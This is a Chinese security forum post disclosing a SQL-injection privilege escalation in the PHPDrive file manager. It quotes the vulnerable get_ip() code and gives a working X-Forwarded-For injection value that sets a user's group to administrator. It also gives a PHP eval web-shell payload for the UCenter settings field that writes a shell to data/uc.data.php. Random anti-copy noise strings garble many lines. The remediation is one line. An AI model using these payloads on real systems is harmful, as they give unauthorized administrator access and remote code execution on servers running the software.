找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2392|回复: 0
打印 上一主题 下一主题

PHPDrive权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:18:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等3 T+ @7 ~5 Q5 R$ h& ?6 z0 v
. D# a' L( x" T3 c+ o
includes/user.lib.php! Z3 B5 Q# z* ~. ]' n( z
行87$ o( ^8 d8 E! s: ~( U/ i
function get_ip() {% }$ ~1 m& Y. ]# U4 E9 x" m3 J
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.
: a: X. g4 r, s. K# A在用户注册与登录 处module/disk/account.lead.php* P& [7 ?+ ^$ e- w; V
198行 " ]- f! I7 X# e* N6 t, d
//更新本次登录IP和时间- f5 [( f3 w4 @, s" E9 G
             $db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生
; c, x0 Y; A4 h' s由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限
% |6 O  X6 u/ X/ E' V# S. C5 D0 f实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.8 R2 Q* x( |4 K) Y/ H* E
后台getshell:
3 v8 T/ @6 J  n在UCenter设置处,将UC数据库登录名填写为$ y# D* U4 o: j& F) b4 N1 E& d1 K
: _& F! k6 |! l! v! \
root’);eval($_POST[DisKill]);?>/*6 `3 f4 K* @" e" l+ o( `7 @
可以得到一个shell,位置在 data/uc.data.php
- d9 H; F  E8 W; y, p" Y! D& j- o4 u; v. q+ x3 o
修复:过滤注入
8 f4 _2 V* P5 h6 N8 {* e! y! g. G, U4 P7 u6 W/ N2 {! F: ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表